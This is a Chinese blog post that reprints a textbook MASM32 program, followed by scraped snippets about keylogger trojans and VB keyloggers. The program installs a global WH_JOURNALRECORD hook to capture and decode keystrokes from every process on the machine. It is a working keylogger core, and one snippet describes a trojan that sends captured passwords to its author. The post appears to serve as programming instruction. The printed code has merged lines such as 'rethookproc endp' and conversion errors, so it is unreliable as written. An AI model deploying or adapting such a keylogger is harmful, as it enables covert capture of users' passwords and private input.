這是乙個《windows環境下32位組合語言程式設計》中的例子,在動態鏈結庫和鉤子那章,作為乙個鉤子的示例程式。原理很簡單,裝個全域性鉤子,然後鉤住所有的鍵盤資訊即可。但是這裡存在兩個問題,一是裝什麼型別的全域性鉤子才能鉤住所有程序的鍵盤資訊,二是鉤住的鍵盤資訊的翻譯。大家都知道,鉤子函式鉤住的資訊是以掃瞄碼和偽程式碼,不是我們現實中看到的鍵盤資訊,因此如何翻譯也是個問題。當然,說穿了一點都不稀奇,第乙個問題的答案是,需要安裝乙個日誌記錄鉤子,即wh_journalrecord,書山還有個鉤子例子,是用wm_keyboard,但是,至少在例子上只能顯示本程序的鍵盤資訊。第二個答案是api函式toascii。完整**如下,在xp+sp3下測試通過。
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
con_main equ 1000
dlg_main equ 1000
idc_text equ 1001
.data?
hinstance dd ?
hwinmain dd ?
hhook dd ?
szascii db 32 dup (?)
.code
hookproc proc _dwcode,_wparam,_lparam
local @szkeystate[256]:byte
invoke callnexthookex,hhook,_dwcode,_wparam,_lparam
pushad
.if _dwcode == hc_action
mov ebx,_lparam
assume ebx:ptr eventmsg
.if [ebx].message==wm_keydown
invoke getkeyboardstate,addr @szkeystate
invoke getkeystate,vk_shift
mov @szkeystate + vk_shift,al
mov ecx,[ebx].paramh
shr ecx,16
invoke toascii,[ebx].paraml,ecx,addr @szkeystate,addr szascii,0
mov byte ptr szascii [eax],0
.if szascii == 0dh
mov word ptr szascii+1,0ah
.endif
invoke senddlgitemmessage,hwinmain,idc_text,em_replacesel,0,addr szascii
.endif
assume ebx:nothing
.endif
popad
rethookproc endp
_procdlgmain proc uses ebx edi esi hwnd,wmsg,wparam,lparam
mov eax,wmsg
.if eax == wm_close
invoke unhookwindowshookex,hhook
invoke enddialog,hwnd,null
.elseif eax == wm_initdialog
push hwnd
pop hwinmain
invoke setwindowshookex,wh_journalrecord,addr hookproc,hinstance,null
.if eax
mov hhook,eax
.else
invoke enddialog,hwnd,null
.endif
.else
mov eax,false
ret.endif
mov eax,true
ret_procdlgmain endp
start:
invoke getmodulehandle,null
mov hinstance,eax
invoke dialogboxparam,eax,dlg_main,null,offset _procdlgmain,null
invoke exitprocess,null
end start
鍵盤記錄木馬 鍵盤記錄員
鍵盤記錄員108627 win32.pswtroj.onlinegames.xn.108627 這個病毒是乙個盜號木馬程式。它利用鍵盤記錄的方法,記錄下使用者輸入的全部資訊,進行加密後傳送給病毒作者。病毒作者通過一定技術手段,就可以從這些資訊中篩選出使用者的各類帳號和密碼。此篇預警播報中的病毒,是乙...
vb鍵盤記錄
private sub timer1 timer dx鍵盤記錄 on error resume next static keyarray 255 as byte dim key count as integer,vkeycode as integer,vkeyasc as string di key...
小鍵盤記錄
小鍵盤記錄 2010年03月21日 發指令碼之前,我想講一下關於寫入檔案的問題,看了幾個教程,對於我這樣的菜鳥十分生澀,很難理解。我覺得有必要再講講,以下是我自己理解的,可能不對,請高手指教。首先講這個 vbs const forreading 1 vbs const forwriting 2 也有...